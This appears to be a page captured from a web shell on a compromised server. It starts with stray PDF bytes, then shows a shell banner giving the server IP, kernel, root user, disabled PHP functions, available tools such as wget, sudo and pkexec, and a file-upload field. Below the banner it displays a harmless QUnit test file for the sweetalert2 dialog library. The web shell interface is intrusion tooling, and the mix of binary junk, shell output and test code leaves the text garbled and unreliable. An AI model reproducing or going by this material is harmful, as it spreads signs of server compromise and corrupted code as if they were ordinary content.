%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 49.231.201.246 / Your IP : 216.73.216.41 Web Server : Apache/2.4.18 (Ubuntu) System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64 User : root ( 0) PHP Version : 7.0.33-0ubuntu0.16.04.16 Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /var/www/html/ppaobm/vendor/bower-asset/sweetalert2/test/qunit/ |
Upload File : |
const { $, Swal, SwalWithoutAnimation, triggerKeydownEvent, isVisible } = require('./helpers') QUnit.test('confirm button /w useRejections: true', (assert) => { const done = assert.async() SwalWithoutAnimation({ title: 'Confirm me', useRejections: true }).then((result) => { assert.equal(result, true) done() }) Swal.clickConfirm() }) QUnit.test('cancel button /w useRejections: true', (assert) => { const done = assert.async() SwalWithoutAnimation({ title: 'Cancel me', useRejections: true }).then( () => {}, (dismiss) => { assert.equal(dismiss, Swal.DismissReason.cancel) done() } ) Swal.clickCancel() }) QUnit.test('esc key /w useRejections: true', (assert) => { const done = assert.async() SwalWithoutAnimation({ title: 'Esc me', useRejections: true }).then( () => {}, (dismiss) => { assert.equal(dismiss, Swal.DismissReason.esc) done() } ) triggerKeydownEvent(Swal.getPopup(), 'Escape') }) QUnit.test('backdrop click /w useRejections: true', (assert) => { const done = assert.async() Swal({ title: 'Backdrop click', useRejections: true }).then( () => {}, (dismiss) => { assert.equal(dismiss, Swal.DismissReason.backdrop) done() } ) $('.swal2-container').click() }) QUnit.test('timer /w useRejections: true', (assert) => { const done = assert.async() SwalWithoutAnimation({ title: 'Timer test', timer: 10, useRejections: true }).then( () => {}, (dismiss) => { assert.equal(dismiss, Swal.DismissReason.timer) done() } ) }) QUnit.test('close button /w useRejections: true', (assert) => { const done = assert.async() Swal({ title: 'Close button test', showCloseButton: true, useRejections: true }).then( () => {}, (dismiss) => { assert.equal(dismiss, Swal.DismissReason.close) done() } ) const closeButton = $('.swal2-close') assert.ok(isVisible(closeButton)) closeButton.click() }) QUnit.test('input text /w useRejections: true', (assert) => { const done = assert.async() const string = 'Live for yourself' Swal({ input: 'text', useRejections: true }).then((result) => { assert.equal(result, string) done() }) $('.swal2-input').value = string Swal.clickConfirm() }) QUnit.test('built-in email validation /w useRejections: true', (assert) => { const done = assert.async() const validEmailAddress = 'team+support+a.b@example.com' Swal({ input: 'email', useRejections: true }).then((result) => { assert.equal(result, validEmailAddress) done() }) $('.swal2-input').value = validEmailAddress Swal.clickConfirm() }) QUnit.test('input select /w useRejections: true', (assert) => { const done = assert.async() const selected = 'dos' Swal({ input: 'select', inputOptions: { uno: 1, dos: 2 }, useRejections: true }).then((result) => { assert.equal(result, selected) done() }) $('.swal2-select').value = selected Swal.clickConfirm() }) QUnit.test('input checkbox /w useRejections: true', (assert) => { const done = assert.async() Swal({ input: 'checkbox', inputAttributes: { name: 'test-checkbox' }, useRejections: true }).then((result) => { assert.equal(checkbox.getAttribute('name'), 'test-checkbox') assert.equal(result, '1') done() }) const checkbox = $('.swal2-checkbox input') checkbox.checked = true Swal.clickConfirm() })